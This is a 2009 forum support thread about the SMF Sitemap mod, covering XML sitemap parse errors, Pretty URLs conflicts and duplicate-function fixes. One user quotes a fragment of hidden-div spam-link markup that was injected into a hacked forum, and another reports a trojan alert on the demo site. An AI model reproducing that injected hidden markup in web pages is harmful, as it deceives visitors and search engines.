QuoteCurrently viewing: http://pipechat.netne.net/index.php?action=sitemap;xml

View:
Sitemap summary
Most sites will not have all of their pages indexed.
Improve how Google crawls and indexes your site. More information.
Property    Status
Sitemap type    Web
Format    Sitemap
Submitted    28 minutes ago
Last downloaded by Google    27 minutes ago
Status    Errors
Total URLs in Sitemap    239
Indexed URLs in Sitemap Help Help
   No data available. Please check back soon.
Sitemap errors and warnings
   Line    Status    Details
Details    1437    Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting. Help Help
   Problem detected on:    Jun 7, 2009
Title: Re: Sitemap
Post by: SlammedDime on June 07, 2009, 05:54:36 AM
Yes, not having any style information is normal.  As for google not able to read the sitemap, I have no clue why... it validates just fine.  Could have been an error when they tried to access it and the next time it will work fine.
Title: Re: Sitemap
Post by: peps1 on June 07, 2009, 11:55:00 AM
re submitted it and got the same error

Quote
Sitemap details Help
Loading...






Help
Sitemap details
pipechat.netne.net
Currently viewing: http://pipechat.netne.net/index.php?action=sitemap;xml

View:
Sitemap summary
Most sites will not have all of their pages indexed.
Improve how Google crawls and indexes your site. More information.
Property    Status
Sitemap type    Web
Format    Sitemap
Submitted    15 minutes ago
Last downloaded by Google    15 minutes ago
Status    Errors
Total URLs in Sitemap    239
Indexed URLs in Sitemap Help Help
   No data available. Please check back soon.
Sitemap errors and warnings
   Line    Status    Details
Details    1437    Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting. Help Help
Title: Re: Sitemap
Post by: SlammedDime on June 07, 2009, 04:14:29 PM
The issue is because of your web host... whenever it sees googlebot, it adds some extra code to the bottom of your pages, including XML pages...

All you can do is ask your host about it... nothing I can do to help.

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Code -->
Title: Re: Sitemap
Post by: Dzonny on June 07, 2009, 04:17:20 PM
i still have problem, if someone can help...
http://www.simplemachines.org/community/index.php?topic=170813.msg2085362#msg2085362
Title: Re: Sitemap
Post by: peps1 on June 08, 2009, 03:30:15 AM
Quote from: SlammedDime on June 07, 2009, 04:14:29 PM
The issue is because of your web host... whenever it sees googlebot, it adds some extra code to the bottom of your pages, including XML pages...

All you can do is ask your host about it... nothing I can do to help.

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Code -->


removed the offendin script, but still get the errors

QuoteCurrently viewing: http://pipechat.netne.net/index.php?action=sitemap;xml

View:
Sitemap summary
Most sites will not have all of their pages indexed.
Improve how Google crawls and indexes your site. More information.
Property    Status
Sitemap type    Web
Format    Sitemap
Submitted    25 minutes ago
Last downloaded by Google    5 minutes ago
Status    Errors
Total URLs in Sitemap    241
Indexed URLs in Sitemap Help Help
   No data available. Please check back soon.
Sitemap errors and warnings
   Line    Status    Details
Details    1449    Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting. Help Help

Anything else I can try SlammedDime?
Title: Re: Sitemap
Post by: SlammedDime on June 08, 2009, 05:53:09 AM
It's still there.  If you're not already using Firefox, get it, then get the User Agent Switcher add-on, switch to a robot, like GoogleBot, then view your sitemap and you should see the issue.
Title: Re: Sitemap
Post by: qqq111 on June 08, 2009, 01:57:32 PM
What do you think the possibility of rejecting boards and that they do not appear in the sitemaps?

Any suggestion?
Title: Re: Sitemap
Post by: SlammedDime on June 08, 2009, 03:21:14 PM
it's possible... can look at adding this when I add in the ability to put extra urls in the sitemap.
Title: Re: Sitemap
Post by: peps1 on June 08, 2009, 05:49:02 PM
Quote from: SlammedDime on June 08, 2009, 05:53:09 AM
It's still there.  If you're not already using Firefox, get it, then get the User Agent Switcher add-on, switch to a robot, like GoogleBot, then view your sitemap and you should see the issue.

thanks for the agent switcher heads up, very useful indeed!

talked to my webhost and they say the last remaining code
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>


must be removed by me, can you tell me where i can find the file to edit as i cant seem to find it in my site?

Title: Re: Sitemap
Post by: SlammedDime on June 08, 2009, 06:14:52 PM
I would have no idea where it would be... it only shows up when the agent is a bot for me...
Title: Re: Sitemap
Post by: feona on June 26, 2009, 09:27:09 AM
I just installed V 1.2.2
I'm using SMF 1.1.9

Basic sitemap works fine - but not XML:  ( index.php?action=sitemap;xml )

I get an error:   
XML page cannot be displayed
XML document must have a top level element. Error processing resource

index.php?action=sitemap  works just fine.

Anyway that I can dig in to find that problem? What should I look for? Where?
Title: Re: Sitemap
Post by: SlammedDime on June 26, 2009, 04:34:34 PM
Need a link to your site to tell you for sure... normally the cause is some extra html above or below the sitemap caused by adsense or something else that was inserted improperly into the template.
Title: Re: Sitemap
Post by: PRaDiUS on June 27, 2009, 04:14:23 PM
getting an error in index.template when installing... help?
Title: Re: Sitemap
Post by: SlammedDime on June 27, 2009, 05:20:58 PM
You'll have to manually install it on that file then... the instructions are available on the mod's download page for your version of SMF.
Title: Re: Sitemap
Post by: SlammedDime on June 27, 2009, 05:54:40 PM
Quote from: feona on June 27, 2009, 05:24:12 PM
Quote from: SlammedDime on June 26, 2009, 04:34:34 PM
Need a link to your site to tell you for sure... normally the cause is some extra html above or below the sitemap caused by adsense or something else that was inserted improperly into the template.

SlammedDime - were you replying to me.... ? :)
I hope so.

Here is my url: http://www.aboutchristiansingles.com
Sitemap: http://www.aboutchristiansingles.com/index.php?action=sitemap
XML link at the bottom.

Thanks!
I don't see any issues... looks and works fine for me.
Title: Re: Sitemap
Post by: philcross on June 28, 2009, 12:25:59 PM

Ive been a bit silly I think - please help me sort out my mess.

I had sitemap mod installed fine and also installed pretty urls mod just fine.

But sitemap was still listing all pages as old style and not pretty url style.

So, I removed sitemap mod even though the uninstall gave two errors (but I cant remember them).

I foolishly believed the re-sintall would fix them.

Now, t sitemap does show the pretty urls BUT

I cannot access many of the admin routines.


I get the following error:-

Fatal error: Cannot redeclare modifysitemapsettings() (previously declared in /home/XXXXXXX/public_html/XXXXXXX/Sources/ManageSettings.php:2159) in /home/XXXXXXX/public_html/XXXXXXX/Sources/ManageSettings.php on line 2249

Can you help please?

Title: Re: Sitemap
Post by: SlammedDime on June 28, 2009, 02:20:46 PM
You'll need to open ManageSettings.php and remove the duplicate function 'modifysitemapsettings'.  It's there twice (thus the error saying the function has been redelcared).
Title: Re: Sitemap
Post by: neteater on June 29, 2009, 10:30:53 AM
where to enable show link as xml in smf 2.0 rc1-1 i am not seeing anyoption for this

no such type of coding inmy theme file
./Themes/default/index.template.php
Find: [Select]

         <li class="copywrite">', theme_copyright(), '</li>

i didn't find such coding
Title: Re: Sitemap
Post by: feona on June 29, 2009, 02:42:32 PM
XML Sitemap working fine, but not showing pretty urls.

It is showing: index.php?topic=20612.0
instead of /this-is-url/

Is there a setting I can change to fix that up?

Thank you !
Title: Re: Sitemap
Post by: feona on June 30, 2009, 08:10:13 PM
Is there a way to change the sitemap so that
It does not show: index.php?topic=20612.0

but instead shows /this-is-url/  ?

Is this something I can edit?
Title: Re: Sitemap
Post by: SlammedDime on June 30, 2009, 08:30:58 PM
Quote from: neteater on June 29, 2009, 10:30:53 AM
where to enable show link as xml in smf 2.0 rc1-1 i am not seeing anyoption for this

no such type of coding inmy theme file
./Themes/default/index.template.php
Find: [Select]

         <li class="copywrite">', theme_copyright(), '</li>

i didn't find such coding
Find theme_copyright() in your index.template.php file and add the link anywhere you want around it... or add it anywhere you want period.

Quote from: feona on June 30, 2009, 08:10:13 PM
Is there a way to change the sitemap so that
It does not show: index.php?topic=20612.0

but instead shows /this-is-url/  ?

Is this something I can edit?

The version of the mod for 1.1.9 should already fix this...  do you have the 'Pretty Urls' mod installed, or some other SEF urls mod?
Title: Re: Sitemap
Post by: feona on July 01, 2009, 10:59:28 AM
Hi,
Yes, I have pretty url installed.

Pretty url working fine.
Site map XML shows the old style boards.

Any way to correct?

Thanks!  :)
Title: Re: Sitemap
Post by: Dzonny on July 03, 2009, 04:19:10 AM
Sorry, but i have to bump this again, just to say that i still need help with my problem.
http://www.simplemachines.org/community/index.php?topic=170813.msg2085362#msg2085362
Title: Re: Sitemap
Post by: philcross on July 04, 2009, 02:51:38 AM
QuoteYou'll need to open ManageSettings.php and remove the duplicate function 'modifysitemapsettings'.  It's there twice (thus the error saying the function has been redelcared).

I had a look at the file but Im really not sure what to delete as there are 4 mentions of 'modifysitemapsettings'

Ive attached the file in case someone would be kind enough to help me out please.

Thanks
Title: Re: Sitemap
Post by: Dzonny on July 04, 2009, 02:57:24 AM
philcross, here you are, i've remove duplicated code.  8)
Title: Re: Sitemap
Post by: philcross on July 04, 2009, 03:35:15 AM

Quotephilcross, here you are, i've remove duplicated code. 

Hi

I still have the problem.

I think you removed one 'modifysitemapsettings' from the top of the page BUT it appears twice more farther down - at line 2158 and 2219

Ideas please?

Title: Re: Sitemap
Post by: philcross on July 04, 2009, 03:47:37 AM

I "THINK" the following code is duplicated

Quotefunction ModifySitemapSettings($return_config = false)
{
   global $txt, $scripturl, $context, $settings, $sc, $modSettings;

   $config_vars = array(
         array('check', 'sitemap_xml'),
         array('int', 'sitemap_topic_count'),
         '',
         array('select', 'sitemap_30day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
         array('select', 'sitemap_60day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
         array('select', 'sitemap_90day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
         array('select', 'sitemap_91day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
   );

   if ($return_config)
      return $config_vars;

   $context['post_url'] = $scripturl . '?action=admin;area=modsettings;save;sa=sitemap';
   $context['settings_title'] = $txt['sitemap'];

   // Saving?
   if (isset($_GET['save']))
   {
      checkSession();
      $save_vars = $config_vars;
      saveDBSettings($save_vars);
      redirectexit('action=admin;area=modsettings;sa=sitemap');
   }
   prepareDBSettingContext($config_vars);
}

I starts on line 2162 and then again on line 2223

Do I need to remove one block of that code?
Title: Re: Sitemap
Post by: S.Nieves on July 04, 2009, 04:28:51 AM
Hello,
I have had sitemap up for a couple days running great. I just installed pretty urls and all seems fine except when I want to see my XML

Here is what I get.

http://www.doggeekz.com/sitemap/sitemap.xml

Its obvious I just need to edit and remove the sitemap that is there but how and what file?

Thanks in advanced.

Sam


ps... is this one of the scripts that needs editing?

$retVal .= 'document.write("<a href=\'' . $mosConfig_live_site . '/index.php?option=com_smf&amp;Itemid=' . $Itemid . '&amp;action=sitemap;xml\'>XML</a>")
';
      $retVal .= '// ]]></script>';

      return $retVal;
   }
   else {
      global $scripturl;
      return '<<a href=\'' . $mosConfig_live_site . 'sitemap.xml>XML</a>';
Title: Re: Sitemap
Post by: philcross on July 04, 2009, 04:52:31 AM

QuoteDo I need to remove one block of that code?

I went ahead and removed the duplicated code and its now sorted.
Title: Re: Sitemap
Post by: S.Nieves on July 05, 2009, 04:01:17 PM
Anyone?^^ I need help. I run pretty urls and sitemap. I cant get sitemap.xml to properly show up.
Title: Re: Sitemap
Post by: SlammedDime on July 05, 2009, 05:00:39 PM
Sorry guys, I've been really busy the last few days.... I'll try to answer questions later today when I have some free time.
Title: Re: Sitemap
Post by: shua on July 06, 2009, 12:42:10 PM
I'm having problems with the sitemap.xml generating pretty urls.

www.waterxing.com/sitemap.xml (http://www.waterxing.com/sitemap.xml)

I'm running:
1.     Pretty URLs      1.0RC     
2.    SMF Sitemap    1.2.2
3.    InfoBox    0.1   
4.    SimplePortal    2.2.2
5.    Ad Managment    2.3.5
6.    Aeva ~ Auto-Embed Video & Audio    6.9.99
7.    Ad Managment    2.3.1

For some reason the xml sitemap still generates the old links.
Title: Re: Sitemap
Post by: atdforum on July 06, 2009, 08:13:03 PM
I went to the "working demo" link in your mod page (http://www.airridetalk.com/forum/sitemap), clicked on the XML link at the bottom of that page (http://www.airridetalk.com/index.php?option=com_smf&Itemid=39&action=sitemap;xml) to view the xml output, and my Avast virus software went-off saying the site is trying to pass a Trojan Horse virus!   Repeating the visit to the XML link set-off the virus alert a second time.

What's the deal?  Sounded like a good mod...
Title: Re: Sitemap
Post by: LHW on July 07, 2009, 12:58:36 AM
Quote from: Dzonny on July 03, 2009, 04:19:10 AM
Sorry, but i have to bump this again, just to say that i still need help with my problem.
http://www.simplemachines.org/community/index.php?topic=170813.msg2085362#msg2085362

I'm having similar issues as Dzonny (I'm also running v1.1.9).  The errors in my log only show up when Guests view the Sitemap.  Once someone is logged in, it doesn't generate any errors.  Here's a list of all the errors I've gotten:

http://www.EssentialKnights.COM/tcf/index.php?action=sitemap
8: Undefined index: nump
File: /home/essen6/public_html/tcf/Themes/default/Sitemap.template.php (eval?)
Line: 75

http://www.EssentialKnights.COM/tcf/index.php?action=sitemap
8: Undefined index: numt
File: /home/essen6/public_html/tcf/Themes/default/Sitemap.template.php (eval?)
Line: 74

http://www.EssentialKnights.COM/tcf/index.php?action=sitemap
8: Undefined index: description
File: /home/essen6/public_html/tcf/Themes/default/Sitemap.template.php (eval?)
Line: 73

http://www.EssentialKnights.COM/tcf/index.php?action=sitemap
8: Undefined index: name
File: /home/essen6/public_html/tcf/Themes/default/Sitemap.template.php (eval?)
Line: 72

http://www.EssentialKnights.COM/tcf/index.php?action=sitemap
8: Undefined index: id
File: /home/essen6/public_html/tcf/Themes/default/Sitemap.template.php (eval?)
Line: 72

http://www.EssentialKnights.COM/tcf/index.php?action=sitemap
8: Undefined index: level
File: /home/essen6/public_html/tcf/Themes/default/Sitemap.template.php (eval?)
Line: 62


All 6 Errors are entered each time a Guest views the Sitemap.  Any help on correcting this would be greatly appreciated.

Thanks!
Title: Re: Sitemap
Post by: SlammedDime on July 07, 2009, 04:49:17 PM
Quote from: atdforum on July 06, 2009, 08:13:03 PM
I went to the "working demo" link in your mod page (http://www.airridetalk.com/forum/sitemap), clicked on the XML link at the bottom of that page (http://www.airridetalk.com/index.php?option=com_smf&Itemid=39&action=sitemap;xml) to view the xml output, and my Avast virus software went-off saying the site is trying to pass a Trojan Horse virus!   Repeating the visit to the XML link set-off the virus alert a second time.

What's the deal?  Sounded like a good mod...
Sorry, i've taken care of this, I had some code injected into one of my files on my site.  You could have easily downloaded the mod package to see there was no bad code in there.
Title: Re: Sitemap
Post by: atdforum on July 07, 2009, 07:41:23 PM
QuoteYou could have easily downloaded the mod package to see there was no bad code in there.

My hands are crippled... I don't easily do anything. :P  Thanks for the update on the problem.

Btw: are these recent 1.1.9-related posts (not getting sitemap.xml to show up properly) limited to those using pretty urls?  I'm not using pretty urls and I'd like to try your mod on my 1.1.9 install.  Thanks.
Title: Re: Sitemap
Post by: LHW on July 07, 2009, 08:30:23 PM
Quote from: SlammedDime on May 30, 2009, 03:19:20 PM
Quote from: SlammedDime on May 20, 2009, 04:22:15 PM
It has to do with a board that is possibly hidden from guests, but it may have child boards that are not...  without a link to your site, I wouldn't be able to tell for sure.

Since I've stopped development on the mod for SMF 1.1.x, I don't really plan on fixing the queries and re-releasing the mod.  If someone is able to come up with a fix, I'd be more than happy to post it in the first post of the topic for people to apply.

Dang, wish I would've caught this earlier.  This is most likely the problem on our site.  Oh well.  Hopefully someone will come up with a fix someday, and we'll be able to reinstall it.  It's truly a great idea for SMF.
Title: Re: Sitemap
Post by: shua on July 09, 2009, 02:57:18 PM
Has anyone had success with the Sitemap pretty URL support on 1.1.9?  Seems like there are a number of people reporting that it's not working (i.e. they're still getting the query-style urls in the sitemap.xml).

If you've gotten it to work, can you share how you did it?  Thanks!

www.waterxing.com/sitemap.xml (http://www.waterxing.com/sitemap.xml)
Title: Re: Sitemap
Post by: SlammedDime on July 09, 2009, 09:25:41 PM
Quote from: shua on July 09, 2009, 02:57:18 PM
Has anyone had success with the Sitemap pretty URL support on 1.1.9?  Seems like there are a number of people reporting that it's not working (i.e. they're still getting the query-style urls in the sitemap.xml).

If you've gotten it to work, can you share how you did it?  Thanks!

www.waterxing.com/sitemap.xml (http://www.waterxing.com/sitemap.xml)
Please try the following - upload repair_settings.php to your site.  Navigate to it, and look at the value for queryless urls.  If it is not set, check the box, then save, and when the page reloads, uncheck the box again, then see if the sitemap displays correctly.

What is repair_settings.php? (http://docs.simplemachines.org/index.php?topic=663)
Title: Re: Sitemap
Post by: shua on July 09, 2009, 10:02:33 PM
Quote from: SlammedDime on July 09, 2009, 09:25:41 PM
Quote from: shua on July 09, 2009, 02:57:18 PM
Has anyone had success with the Sitemap pretty URL support on 1.1.9?  Seems like there are a number of people reporting that it's not working (i.e. they're still getting the query-style urls in the sitemap.xml).

If you've gotten it to work, can you share how you did it?  Thanks!

www.waterxing.com/sitemap.xml (http://www.waterxing.com/sitemap.xml)
Please try the following - upload repair_settings.php to your site.  Navigate to it, and look at the value for queryless urls.  If it is not set, check the box, then save, and when the page reloads, uncheck the box again, then see if the sitemap displays correctly.

What is repair_settings.php? (http://docs.simplemachines.org/index.php?topic=663)

Thanks SlammedDime,

I gave this a go.  When I first entered repair_settings.php it was turned on.  I turned it off, saved it, checked the sitemap.xml and no change.  Went back, turned it back on, saved it, and checked it again and no luck.  New thoughts?  Thanks again!
Title: Re: Sitemap
Post by: philcross on July 13, 2009, 02:13:00 AM
QuoteYour Sitemap does not appear to be in a supported format. Please ensure it meets our Sitemap guidelines and resubmit.

Im getting the above when I look at my forum in Google WM Tools.

Ideas?

http://www.xxxx.co.uk/xxxxforum/sitemap/

BTW I have prettyurl installed but in XML it shows the "non pretty" way ie index.php?board=3.0 (but I guess thats an issue to take to that Mod).

Thanks
Title: Re: Sitemap
Post by: SlammedDime on July 13, 2009, 04:29:00 AM
The sitemap for SMF 2 doesn't work with Pretty URLs at the moment.  If you check a few pages back, there were some suggestions on making it work.

I can't tell you why google says that... your XML sitemap looks fine to me.
Title: Re: Sitemap
Post by: Dzonny on July 13, 2009, 09:58:55 AM
SlammedDime, and with 1.1.9 ?
Please take a look at this post:
http://www.simplemachines.org/community/index.php?topic=170813.msg2147408#msg2147408
Title: Re: Sitemap
Post by: sizofren on July 14, 2009, 05:45:05 AM
Hi, i installed smf sitemap mod but i have a problem.i see this eror when i click xml link.my xml link is not working.

this;
 
/forum/sitemap.xml

and this;

forum/index.php?action=sitemap;xml

not working.


XML belgesinde tek bir üst düzey öğeye izin verilir. 'http://www..........com/forum/index.php?action=sitemap;xml' kaynağı iş...

<urlset xmlns="http://www.google.com/schemas/sitemap/0.84">


-^



this is at the firefox

XML Ayrıştırma Hatası: belge elemanından sonra çöpLocation: http://www.........com/forum/index.php?action=sitemap;xmlLine Number 1, Column 13117:<div style="display:none"><!--621496887-->The <u><a href="http://marburger-elche.de/neu_elche/index.php/?pouzi=187">iomega external cd rw drive</a></u> is a advertised crapulous caes
....................... vs.vs.vs.



and how can unistall sitemap mod from database.i unistall from the forum bu i want to unistall database.

i ll wait to answers.thanks :'(
Title: Re: Sitemap
Post by: sim-sim on July 14, 2009, 07:58:05 AM
SMF 2.0 RC1.1
Sitemap 2.0.0
Theme: default

starting .../index.php?action=sitemap;xml is ok, but looking log:
Quote
http://ххх.ххх/index.php?action=sitemap;xml
8: Undefined index: sitemap
File: /xxx/Sources/Sitemap.php
Line: 30
   
http://ххх.ххх/index.php?action=sitemap;xml
8: Undefined index: sitemap
File: /xxx/Sources/Sitemap.php
Line: 23

but
$txt['sitemap'] = 'Sitemap';

is presented in Modifications.english.php and Modifications.russian-utf8.php

may be SMF 2.0 RC1.1 not see this files, or whats wrong?
Title: Re: Sitemap
Post by: SlammedDime on July 14, 2009, 05:18:08 PM
Clear your file cache
Title: Re: Sitemap
Post by: SlammedDime on July 14, 2009, 05:19:34 PM
Quote from: sizofren on July 14, 2009, 05:45:05 AM
Hi, i installed smf sitemap mod but i have a problem.i see this eror when i click xml link.my xml link is not working.

this;
 
/forum/sitemap.xml

and this;

forum/index.php?action=sitemap;xml

not working.


XML belgesinde tek bir üst düzey öğeye izin verilir. 'http://www..........com/forum/index.php?action=sitemap;xml' kaynağı iş...

<urlset xmlns="http://www.google.com/schemas/sitemap/0.84">


-^



this is at the firefox

XML Ayrıştırma Hatası: belge elemanından sonra çöpLocation: http://www.........com/forum/index.php?action=sitemap;xmlLine Number 1, Column 13117:<div style="display:none"><!--621496887-->The <u><a href="http://marburger-elche.de/neu_elche/index.php/?pouzi=187">iomega external cd rw drive</a></u> is a advertised crapulous caes
....................... vs.vs.vs.



and how can unistall sitemap mod from database.i unistall from the forum bu i want to unistall database.

i ll wait to answers.thanks :'(

Your problem isn't with this mod, it's with your site being hacked.  This mod only makes a few database additions to the settings table, you can leave them without messing up anything on your site.
Title: Re: Sitemap
Post by: Mandeep Singh on July 16, 2009, 05:34:20 AM
The following settings under "configuration" doesn't work:

Core Features
Features and Options
Security and Moderation
Modifications

When I click them, I get a Fatal error that says:

"Fatal error: Cannot redeclare modifysitemapsettings() (previously declared in /home/msingh92/public_html/Sources/ManageSettings.php:2023) in /home/msingh92/public_html/Sources/ManageSettings.php on line 2135"

This happened whenever I installed the Site Map mod but would stop when I uninstall it. In attempt to get to the bottom of the error, I began to fiddle with the ManageSettings.php and my text editor overwrote the backup I made. So I tried to uninstall Sitemap and SMF gave me a warning that I should know what I am doing before I do so, I clicked Uninstall, and I still get that error. =[

I made a backup of my Database just 2 hours before I did that so worst case senario, I can always reinstall it, but I would like to know how to fix this.

Please help, any help is appriciated!!

I am running SMF 2.0 RC1.2 with SimplePortal

If it is safe, should I attach my ManageSetting.php here so you can take a look at it? assuming it contains no sensitive information...
Title: Re: Sitemap
Post by: SlammedDime on July 16, 2009, 08:02:29 AM
The issue is that the mod has been installed twice... I would recommend looking at the manual instructions and cleaning out all old code from the mod, then reinstalling.
Title: Re: Sitemap
Post by: sizofren on July 16, 2009, 11:23:48 AM
How can i unsinstall sitemap mod from database?
Title: Re: Sitemap
Post by: SlammedDime on July 16, 2009, 05:03:38 PM
Go into the Settings table and remove any variable that has 'sitemap' in it.
Title: Re: Sitemap
Post by: 4LP3RUZ1 on July 17, 2009, 06:54:18 AM
Just wanted to say this mod works great with PrettyURLs and 1.1.10 on a godaddy host

However for some reason google refuses to list many of my pages.

The sitemap generates 9,114 results, but google only registers around 2700 of these.
I changed the /index.php?action=sitemap;xml entry in WM Tools to /sitemap.xml with the rewrite and am waiting on the results now :)
Title: Re: Sitemap
Post by: SlammedDime on July 17, 2009, 06:56:01 AM
This mod will not get you into google... it only lets google know about what pages are available... whether or not google will index them depends heavily on the content of those pages.
Title: Re: Sitemap
Post by: 4LP3RUZ1 on July 17, 2009, 08:01:33 AM
I'm aware of that, but theres always the question of if I'm missing something :)
Title: Re: Sitemap
Post by: Rattler on July 17, 2009, 04:48:32 PM
Hi!

Installed your mod manually today (1.1.10), but clicking ont he site map link produces follwoing error:

QuoteYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 6
File: /home/myhost/public_html/smf/Sources/Sitemap.php
Line: 40

Note: It appears that your database may require an upgrade. Your forum's files are currently at version SMF 1.1.10, while your database is at version 1.1.4. The above error might possibly go away if you execute the latest version of upgrade.php.

Any idea what to do about that?

Rattler
Title: Re: Sitemap
Post by: SlammedDime on July 17, 2009, 05:02:47 PM
Did you run the add_settings.php file from the mod's install package?
Title: Re: Sitemap
Post by: Rattler on July 17, 2009, 08:42:30 PM
Nope.

Forgive my ignorance, how do I do that?

Rattler

Quote from: SlammedDime on July 17, 2009, 05:02:47 PM
Did you run the add_settings.php file from the mod's install package?
Title: Re: Sitemap
Post by: SlammedDime on July 17, 2009, 08:53:49 PM
upload add_settings.php from the mod package to your root Smf directory and then just navigate to it... www.forum.com/add_settings.php
Title: Re: Sitemap
Post by: Rattler on July 17, 2009, 11:51:19 PM
Thx, mate!

Works lieke a charme! Great Mod!

Rattler
Title: Re: Sitemap
Post by: S.Nieves on July 19, 2009, 05:30:52 PM
Here is my problem, everything was working great up until I installed pretty urls.

Here my sitemap link.
http://www.doggeekz.com/sitemap/

Heres my XML link.
http://www.doggeekz.com/sitemap/?xml

My question is, how do I rewrite it to show this for google.
http://www.doggeekz.com/sitemap.xml

What rewrite mod do I use, or do edit something in sitemap.template?

Thanks
Title: Re: Sitemap
Post by: greenberet on July 20, 2009, 08:50:40 AM
I have installed the sitemap, and it works for like an hour, then I get this error:

When I access www.mysite.com/sitemap.xml

XML Parsing Error: junk after document element
Location: http://loqueignoras.com/sitemap.xml
Line Number 17, Column 2:   <div class="tborder" style="margin-bottom:10px;">
--------^

But when I access www.mysite.com/Forum/index?=sitemap

I just get my main site page, the sitemap doesn´t show up, what can it be?

Thanks
Title: Re: Sitemap
Post by: SlammedDime on July 20, 2009, 03:36:55 PM
First off, the correct url is index.php?action=sitemap.  Next you should test that the normal xml way works, by actually clicking the XML link at the bottom of the page... then you can proceed to to trying to rewrite the url....

And without actual links to *your* site, I can't do much troubleshooting.
Title: Re: Sitemap
Post by: S.Nieves on July 20, 2009, 04:08:21 PM
SlammedDime,
If I uninstall pretty urls I can get the standard
index.php?action=sitemap

but with pretty urls on, that turns it into /sitemap
Title: Re: Sitemap
Post by: SlammedDime on July 20, 2009, 08:14:06 PM
Quote from: S.Nieves on July 20, 2009, 04:08:21 PM
SlammedDime,
If I uninstall pretty urls I can get the standard
index.php?action=sitemap

but with pretty urls on, that turns it into /sitemap
My response above was geared towards the poster after you...

As for your issue, I'll have to do some research into it... some people have no problem with pretty urls, and others can't make it work...
Title: Re: Sitemap
Post by: S.Nieves on July 20, 2009, 09:05:44 PM
Ok thanks.

Sam
Title: Re: Sitemap
Post by: wildblue on July 21, 2009, 03:20:27 AM
First the mod is great

Second I just need to get it to work properly.

I am using SMF 1.1.10 with Pretty URL 1.2.2.  The xml file created http://www.missouribands.com/smf/sitemap.xml is writing out the urls as http://missouribands.com/smf/index.php?board=4.0.  the xml link works as expected and the urls in the forum as well.

I have read thru the thread but the only thing I found close was in regards to Line 108 of Sitemap.template.php.   Line 108 in my version of the file comes nothing close to that stated in the previous post.

First thing I guess is the mod compatible with 1.1.10?  If so, any suggestions of where to go and what to do?

Thanks in Advance.

Kevin
Title: Re: Sitemap
Post by: SlammedDime on July 21, 2009, 07:49:18 AM
The mod works fine with 1.1.10, it's pretty urls that it's having an issue with... as I said above, it works for some, but not others, so I need to hammer out what is going on.
Title: Re: Sitemap
Post by: wildblue on July 21, 2009, 08:08:28 AM
No problem - let me know if there is anything I can help with or test out.

Look forward to a solution.

Kevin
Title: Re: Sitemap
Post by: cwdnow on July 21, 2009, 01:03:14 PM
Same issue here. Using SMF 1.1.10 and the corresponding newest sitemap and pretty URL mods. One thing I did notice is that I had initially installed sitemap before pretty url. By uninstalling pretty URL and re-installing it, the sitemap links changed from /index.php?action=sitemap (or whatever it is) to /sitemap/. The same goes for the XML link. Both links continue to work.
Title: Re: Sitemap
Post by: ultide on July 22, 2009, 11:28:47 PM
hi....
i installed site map mod on my smf1.1.9.

I m using As theme. I modified it accordingly and everything is working fine.
not i would like to know which link to submit to Google as my site map......

my site is http://www.ultide.com

i am confused as when i pont on XML link it displeys-
http://ultide.com/index.php?action=sitemap;xml

and how i can have my site map in root directory..... like....
http://www.ultide.com/sitemap.xml

thanks in advance
Title: Re: Sitemap
Post by: XxDrAg0nxX on July 23, 2009, 06:27:22 AM
My SMF = 1.1.9

Installed Sitemap first but goggle gave an error for the XML link.

So I installed Pretty URL, and google liked the link:
http://black-technology.com/forum/sitemap/?xml

The only problem now is that the links listed on the sitemap is not the pretty url created links, not sure if google will think of it as a redirected link and not index it :(
Title: Re: Sitemap
Post by: S.Nieves on July 23, 2009, 12:59:29 PM
I have un-installed pretty urls for now

My site map works now, but the two together just werent working out.
Title: Re: Sitemap
Post by: IdanC on July 25, 2009, 06:27:04 AM
hi, i use smf 1.1.10, and a every time i submit my map to google i get this error, but only after a day or two (before that google approves and indexes my site):

QuoteRedirect error: Redirect error
We encountered an error while trying to access your Sitemap. Please ensure your Sitemap follows our guidelines and can be accessed at the location you provided and then resubmit.

when i resubmit the map it's ok again, till a day or two later...

my map is at http://mila.fm/index.php?action=sitemap;xml

what am i doing wrong?
Title: Re: Sitemap
Post by: SlammedDime on July 25, 2009, 06:47:49 AM
Doesn't look like you're doing anything wrong... the sitemap looks fine, no errors, and I don't see any issues with it... it's possible your site could be down when google is trying to access it...
Title: Re: Sitemap
Post by: IdanC on July 25, 2009, 08:14:54 AM
thanks allot!

i'll check for availability issues in my server.

keep on doing such great mods!
Title: Re: Sitemap
Post by: TheListener on July 25, 2009, 11:21:49 AM
In my error log this appeared:


Fatal error: Cannot redeclare modifysitemapsettings() (previously declared in /Sources/ManageSettings.php:2274) in /Sources/ManageSettings.php on line 2415

we use the blackrain v2 theme on 2.0 rc1-1

EDIT:

Have managed to manually edit the mod onto the forum BUT the mod isn't showing at the bottom of the page.
